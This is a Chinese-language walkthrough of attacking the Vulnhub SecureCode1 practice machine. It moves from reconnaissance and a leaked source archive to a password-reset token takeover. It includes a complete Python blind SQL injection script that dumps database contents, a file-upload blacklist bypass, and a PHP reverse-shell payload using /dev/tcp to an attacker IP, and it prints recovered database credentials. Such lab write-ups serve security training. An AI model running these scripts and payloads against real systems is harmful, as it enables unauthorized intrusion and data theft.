【Vulnhub系列】Vulnhub_SecureCode1靶场渗透（原创）

【Vulnhub系列靶场】Vulnhub_SecureCode1靶场渗透

原文转载已经过授权
原文链接：Lusen的小窝 - 学无止尽，不进则退 (lusensec.github.io)

一、环境配置

1、从百度网盘下载对应靶机的.ova镜像

2、在VM中选择【打开】该.ova

3、选择存储路径，并打开

4、之后确认网络连接模式是否为【NAT】

二、信息收集

1、主机发现

2、端口探测

1、快速粗略探测

只发现80端口

2、进行精细化探测

仍然只有80端口

3、进行全扫描和漏洞探测

一个Ubuntu 的Linux机器

发现文件上传和SQL注入漏洞，是一个很好的开端

3、对web目录爆破

dirsearch.cmd -u http://192.168.31.61 -x 404,403	#过滤404，403响应

4、web框架探测

使用了Bootstrap 的前端开发框架和JQuery 库

三、获取shell立足点

1、查看敏感文件

1、robots.txt：提示禁止去/login/*，不允许访问login下的任何文件

2、login目录：是一个登录页面

3、查看其他目录提示无权限

2、源代码文件泄露

1、对登录页面尝试SQL注入失败，几经周折无计可施

2、返回再进行信息收集，端口探测也并无其他端口开放，目录扫描也无其他结果

3、此时能用的有参数爆破，以及zip 等敏感文件的存在（还可以尝试子域名爆破，但由于是靶机且无域名存在，因此此路不通）

4、有include 目录的存在且发现include/header.php 文件在其他地方也经过了引用，可以联想到文件包含漏洞，通过对参数进行爆破

我们在kali 中用wfuzz 工具对包含了header.php 文件的login.php页面进行爆破，并无收获

wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt --hw 113 http://192.168.31.61/login/login.php?FUZZ=

5、检索zip 等敏感文件

我们用dirb 这个工具，对敏感后缀进行爆破

dirb http://192.168.31.61  -X .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak

可以看到确实存在一个名为源代码的zip 文件

将其下载下来

 curl http://192.168.31.61/source_code.zip --output source_code.zip

3、代码审计登录后台

解压该文件，发现存在一个.sql文件，莫不是数据库文件

找到两个用户名和密码，用hashid 判别一下

然后用john 进行爆破，没有结果

既然拿到了源代码，那就进行一波代码审计

重点在这两个文件中

在doChangePassword.php 文件中，对token 进行了校验，然后可以进行密码修改的操作，这里应该是关键

在 resetPassword.php文件中对token 进行了更新操作，那么我们拿到这个token 就可以对admin 的密码进行修改

再往下看

这里就是发送的邮件信息内容，在doChangePassword.php 后面加上token 的值去修改对应用户的密码

那么如何获取15位的token值，爆破难度太高，再查看源代码

这个地方存在SQL注入的可能性很大，对/item/viewItem.php 文件进行查看

如下，确认存在SQL注入

进行数据爆破，这里写了一个脚本根据响应值来进行SQL注入，可修进（放武器库了）

import requestsurl = 'http://192.168.31.62/item/viewItem.php?id=1'def column_data_name(column_data_len,User_table_name,User_column_name):column_data_names = {}column_one_name = ''for i in range(0,len(column_data_len)):  #i是第几个字段的值for j in range(1,column_data_len[i]+1):   #j是要爆破字段值的第几个字符for n in range(0,126):  #n是要爆破字段值的ascii码值new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint('-----------------------------')print(f"第{i}个字段的值为：{column_one_name}")column_data_names[i] = column_one_namecolumn_one_name = ''return column_data_namesdef column_data_length(column_names,User_table_name,User_column_name):column_data_len = {}for i in range(0,10):       #i是第几个字段的值，猜测10个数值for j in range(1,20):     #j是要爆破字段数值的长度，猜测该字段数值最大为20new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_data_len[i] = jif i == 10:print('已超过测试数值的最大值，请调整！！！')breakreturn column_data_lendef column_name(column_len,User_table_name):column_names = {}column_one_name = ''for i in range(0,len(column_len)):  #i是第几个字段，len(column_len) 是字段的数量for j in range(1,column_len[i]+1):           #j是要爆破字段的第几个字符for n in range(0,126):     #n是要爆破字段名的ascii码值new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint(f"第{i}个字段的名称为：{column_one_name}")column_names[i] = column_one_namecolumn_one_name = ''return column_namesdef column_length(User_table_name):     #要查看的表名column_len = {}for i in range(0,10):       #i是第几个字段，这里假设有10个字段for j in range(1,30):     #j是要爆破字段的长度，假设字段长度最长为20new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_len[i] = jif i == 10:print('已超过测试字段数的最大值，请调整！！！')breakreturn column_lendef table_name(table_len):table_names = {}table_one_name = ''for i in range(0,len(table_len)):   #i是第几张表，len(table_len)表示共有几张表for j in range(1,table_len[i]+1):           #j是要爆破表名第几个字符，到表的长度for n in range(0,126):     #n是要爆破表名的ascii码值new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):table_one_name += chr(n)breakprint(f"第{i}张表的名称为：{table_one_name}")table_names[i] = table_one_nametable_one_name = ''return table_namesdef table_length():table_len = {}for i in range(0,10):        #i是第几张表for j in range(1,10):     #j是要爆破表的长度new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)if Response_judgment(new_url):table_len[i] = jbreakreturn table_lendef database_name(database_len):database_names = ''for i in range(1,database_len + 1):     #i是数据库的第几个字符for j in range(0,126):          #j是要爆破数据库名的ascii码值new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j)if Response_judgment(new_url):database_names += chr(j)breakreturn database_namesdef database_length():for i in range(1,10):   #假设数据库的长度在10以内new_url = url + "%20and%20length(database())=" + str(i)if Response_judgment(new_url):return iprint('payload无效，请更替payload！！！')def Response_judgment(new_url):respone = requests.get(new_url)if respone.status_code == 404:return Trueelse:return Falsedef main():database_names = database_name(database_length())    #这里传入数据库的长度print('-----------------------------')print(f"数据库的名称为：{database_names}")print('-----------------------------')table_names = table_name(table_length())    #求表的名称，传入表的长度print('-----------------------------')print(f"所有表的名称为：{table_names}")User_table_name = input('请输入要查看的表名：')print('-----------------------------')column_names = column_name(column_length(User_table_name),User_table_name)       #求字段的名字，输入字段的长度print('-----------------------------')print(f"该表中所有字段的名称为：{column_names}")User_column_name = input('请输入要查看的字段名：')print('-----------------------------')column_data_len = column_data_length(column_names,User_table_name,User_column_name)   #求字段值的长度，传入字段的名称column_data_names = column_data_name(column_data_len,User_table_name,User_column_name)  #求字段的值print('-----------------------------')print(f"该字段中所有数值为：{column_data_names}")if __name__ == '__main__':main()

拿到token，进入doChangePassword.php?token=iBWWtGgLTA8KqEa，之后修改admin 的密码，提示密码更改成功

之后进行登录，成功登录后台

4、获取shell立足点

1、在后台进行信息收集，发现flag1

2、在添加材料的地方发现文件上传

3、先上传一个phpinfo文件，发现有限制

4、在源代码上看，是做了黑名单和mime 检测

5、抓包绕过，黑名单中并没有phar后缀

我们上传一个.phar后缀的php反弹shell，并在本地进行监听，成功拿到shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.50/4444 0>&1'"); ?>

四、提权root

1、查找敏感文件

1、在/var/www下找到flag2

其中的legendary 让人很在意，尝试su 到普通用户 secure

shell=/bin/bash script -q /dev/null
su secure

失败了

2、connection.php文件

看到数据库的账号密码：hackshop:hackshopuniquepassword

是否满足数据库提权呢？mysql版本大于5.7，不能进行数据库提权

2、提权root

此靶机无需root提权

原文转载已经过授权
更多文章请访问原文链接：Lusen的小窝 - 学无止尽，不进则退 (lusensec.github.io)